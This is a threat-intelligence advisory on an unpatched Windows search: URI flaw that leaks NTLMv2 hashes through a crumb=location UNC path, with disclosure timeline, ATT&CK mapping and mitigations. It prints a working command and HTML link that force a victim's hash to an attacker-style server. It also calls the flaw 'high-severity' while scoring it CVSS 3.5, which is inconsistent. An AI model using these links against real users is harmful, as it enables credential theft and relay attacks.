Unpatched Windows search: URI Handler NTLMv2 Hash Leak via crumb=location UNC Coercion (No CVE, Microsoft Won't Fix)
Unpatched Windows search (TL-2026-0673), also tracked as Windows search: URI NTLM leak, is a high-severity software vulnerability scored CVSS 3.5, first published 2026-06-03. It has no confirmed attribution, affects Microsoft Windows 11, maps to 11 MITRE ATT&CK techniques (T1021.002, T1040, T1078.002), and is covered by 9 detection rules and 14 indicators of compromise.
Key facts for TL-2026-0673
- Threat ID
- TL-2026-0673
- Also known as
- Windows search: URI NTLM leak, search: crumb=location NTLM coercion, CVE-2026-33829 search: variant
- Severity
- HIGH
- CVSS
- 3.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N)
- Status
- ACTIVE
- Category
- VULNERABILITY
- First published
- 2026-06-03
- Last reviewed
- 2026-06-03
- Attribution confidence
- NONE
- Motivation
- UNKNOWN
- Target sectors
- government, financial, healthcare, technology, education, manufacturing
- Target regions
- Global
- Detection rules
- 9
- Indicators of compromise
- 14
Malware and tooling in Unpatched Windows search
Malware and tooling: Hashcat, Responder - S0174
Huntress disclosed an unpatched NTLM coercion primitive in the Windows search: URI handler. An unvalidated crumb=location: parameter pointing to an attacker-controlled UNC path forces NTLM authentication, leaking the victim's NTLMv2 hash from a single link click before any error dialog renders. It is technically identical to the patched CVE-2026-33829 (Snipping Tool ms-screensketch: handler) but was assigned no CVE and left unpatched by Microsoft as below the servicing bar.
How Unpatched Windows search works
Huntress publicly disclosed (2026-06-02) an unpatched NTLM hash leakage primitive in the Windows Explorer search: URI handler. The handler accepts a crumb=location: parameter containing a UNC path that it dereferences without validation, causing the host to initiate SMB/NTLM authentication against an attacker-controlled server. The victim's NTLMv2 response (username::domain format) is captured by the attacker before Windows renders any error to the user, making the leak invisible in the normal UI flow.
The exploitation path is trivially weaponizable. From the command line: start "" "search:query=test&crumb=location:\\10.0.1.100\share" (the start "" prefix is required so cmd.exe does not treat & as a command separator). As an HTML hyperlink: <a href="search:query=test&crumb=location:\\10.0.1.100\share">click</a>. A single click delivers the hash within seconds; no malware, download prompt, macro, or multi-stage chain is required. A notable behavioral constraint is that subsequent invocations within the same logon session fail to re-trigger the coercion, indicating session-scoped handler state.
Under the hood the search: scheme delegates to COM class CLSID {90b9bce2-b6db-4fd3-8451-35917ea1081b} (CLSID_SearchMSExecute / SearchExecute) implemented in ExplorerFrame.dll — the same activation path used by the search-ms: scheme. Both search: and search-ms: are therefore vulnerable to the same crumb=location: coercion.
This bug is the functional twin of CVE-2026-33829, the Snipping Tool (ms-screensketch:) NTLM leak that Microsoft patched on 2026-04-14 using the filePath parameter. The search: variant shares an identical CVSS vector (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N, Moderate). Huntress reported it to MSRC on 2026-04-15; MSRC initially closed it as social engineering, reactivated it on 2026-04-21 after pushback, and on 2026-05-15 issued a final assessment of Moderate severity 'below the servicing bar,' declining to assign a CVE or ship a fix, stating only Important and Critical severity cases meet the servicing bar.
Impact: captured NTLMv2 hashes are usable for NTLM relay attacks (against internal services lacking SMB signing) or offline password cracking with tools such as Hashcat/John, enabling credential access and subsequent lateral movement. Because there is no vendor patch, defenders must rely on compensating controls: blocking outbound SMB (TCP 445/139) egress, enforcing SMB signing, disabling NTLM, and alerting on search: / search-ms: URIs in mail and proxy logs (neither scheme belongs in legitimate inbound traffic).
MITRE ATT&CK techniques used in TL-2026-0673
Lateral Movement
T1021.002 Remote Services: SMB/Windows Admin Shares; T1550.002 Use Alternate Authentication Material: Pass the Hash
Credential Access
T1040 Network Sniffing; T1110.002 Brute Force: Password Cracking; T1187 Forced Authentication; T1212 Exploitation for Credential Access; T1557.001 Name Resolution Poisoning and SMB Relay
Defense Evasion
T1078.002 Valid Accounts: Domain Accounts
Execution
T1204.001 User Execution: Malicious Link
Initial Access
Affected products and versions in Unpatched Windows search
- Microsoft — Windows 11
Vulnerable versions: 25H2 Pro Build 26200.8524 (tested) - Microsoft — Windows Explorer search: / search-ms: URI handler (ExplorerFrame.dll)
Vulnerable versions: Windows 10 and Windows 11 builds exposing the search:/search-ms: handler
Remediation for Unpatched Windows search
Patches
- No vendor patch available — Microsoft declined to assign a CVE or fix (Moderate, below servicing bar)
Immediate actions
- Block outbound SMB (TCP/445 and TCP/139) at the perimeter on hosts with no legitimate external SMB need
- Alert on search: and search-ms: URIs appearing in email, proxy, and web gateway logs
Workarounds
- Set RestrictSendingNTLMTraffic = 2 (Deny all) via Group Policy after auditing for breakage
- Block outbound NTLM to remote servers and add internal servers to the NTLM exception list
- Optionally unregister or restrict the search:/search-ms: URI handlers where not required
Longer-term hardening
- Enforce SMB signing on clients and servers so captured NTLMv2 responses cannot be relayed
- Migrate away from NTLM toward Kerberos and enable Extended Protection for Authentication
- Deploy EDR rules detecting explorer.exe / search handler initiating outbound SMB to untrusted hosts
Weaknesses (CWE) in Unpatched Windows search
CWE-200, CWE-522, CWE-20
Timeline of Unpatched Windows search
- Microsoft patches CVE-2026-33829, the technically identical Snipping Tool (ms-screensketch: filePath) NTLM leak.
- Huntress reports the search: URI handler crumb=location NTLM leak to Microsoft MSRC.
- MSRC closes the case as social engineering, deeming it not eligible for servicing.
- MSRC reactivates the case after researcher pushback.
- MSRC issues final assessment: Moderate severity, below the servicing bar; no CVE and no patch will be issued.
- MSRC confirms the sibling CVE-2026-33829 was itself rated Moderate, underscoring the inconsistency of fixing one and not the other.
- Huntress publicly discloses the unpatched primitive with full PoC; The Hacker News and BleepingComputer report secondarily.
Sources cited for Unpatched Windows search
- Unpatched NTLM Leakage in Windows search: URI Handler, Same Bug, No CVE, No Fix
- Unpatched Windows Search URI Vulnerability Lets Attackers Steal NTLMv2 Hashes
- New Windows Search zero-day added to Microsoft protocol nightmare
- CVE-2026-33829: Snipping Tool NTLM Hash Leak
- Outlook Vulnerability Discovery and New Ways to Leak NTLM Hashes
- MITRE ATT&CK T1187: Forced Authentication
- NTLM Privilege Escalation: Unpatched Microsoft Vulnerabilities
Threats related to Unpatched Windows search
- Oracle Hospitality Simphony Vulnerabilities: NTLM Hash Disclosure, Arbitrary File Write, and Kiosk Authentication Bypass (CVE-2026-60167, CVE-2026-60168, CVE-2026-60169, CVE-2026-60170)
- CVE-2026-32202 — Windows Shell Protection Mechanism Failure: NTLM Authentication Coercion via Auto-Parsed LNK Files (CISA KEV)
- CVE-2026-6516: Unauthenticated Remote Code Execution in ManageEngine ADAudit Plus (CVSS 10.0)
Detection coverage for TL-2026-0673
As of 2026-06-03, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0673 across Splunk SPL, Microsoft KQL and Sigma, covering 14 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.